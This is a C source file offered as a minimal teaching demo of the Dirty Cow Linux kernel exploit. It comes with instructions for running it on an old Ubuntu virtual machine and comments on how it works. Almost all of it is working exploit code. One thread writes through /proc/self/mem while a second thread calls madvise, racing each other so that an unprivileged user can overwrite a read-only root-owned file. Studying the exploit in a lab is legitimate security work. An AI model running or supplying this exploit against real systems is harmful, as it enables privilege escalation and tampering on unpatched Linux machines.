```c
/**
 * This is a minimalistic demo of the Dirty Cow exploit.
 *
 *
 * To try it out -----
 *
 *     0. Download ubuntu-14.04.3-desktop-i386.iso from
 *     http://old-releases.ubuntu.com/releases/14.04.0/
 *     and run it as a Virtual Machine. Download this file.
 *
 *     1. As root:
 *         Create a file called "root_file" containing at least 10 characters.
 *         Allow reading only (for all users): chmod 404 root_file
 *
 *     2. As a normal user:
 *         gcc -pthread dirty_cow.c -o dirty_cow
 *         ./dirty_cow
 *         cat root_file
 *
 *
 * What exactly does this script do? -----
 *
 *     1. Create mapping of root_file (using mmap) on virtual memory.
 *     2. Execute two threads:
 *         Thread 1: Write to the mapping through /proc/self/mem.
 *         Thread 2: Tell (madvise) the Kernel we don't need the mapping.
 *
 *
 * Inspired by: https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
 * Author: Nimesha Jayawardena
 */


#include <stdio.h> // For printing
#include <fcntl.h> // For open()
#include <unistd.h> // For write() and lseek()
#include <sys/stat.h> // File info
#include <sys/mman.h> // For mmap()
#include <pthread.h>  // Make sure to gcc with -pthread
#include <stdint.h> // For uintptr_t
#include <string.h> // For strlen()


void *map;
char *file_name = "root_file";
char *to_be_written = "moo";


void *write_to_mapping (void *arg) {
        // Write to mapping through '/proc/self/mem'.
        int i;
        for (i = 0; i < 10000; i++) {
                int f = open("/proc/self/mem", O_RDWR);
                lseek(f, (uintptr_t)map, SEEK_SET);
                write(f, to_be_written, strlen(to_be_written));
        }
}


void* drop_mapping (void *arg) {
        // (m)advise kernel to drop mapping.
        int i;
        for (i = 0; i < 10000; i++)
                madvise(map, 100, MADV_DONTNEED);
}


int main () {

        // Open and map the file.
        int f = open("root_file", O_RDONLY);
        struct stat file_info;
        fstat(f, &file_info);
        map = mmap(NULL, file_info.st_size, PROT_READ, MAP_PRIVATE, f, 0);


        // Create and run two threads.
        pthread_t thread_1, thread_2;
        pthread_create(&thread_1, NULL, write_to_mapping, NULL);
        pthread_create(&thread_2, NULL, drop_mapping, NULL);
        pthread_join(thread_1, NULL);
        pthread_join(thread_2, NULL);

        return 0;
}
```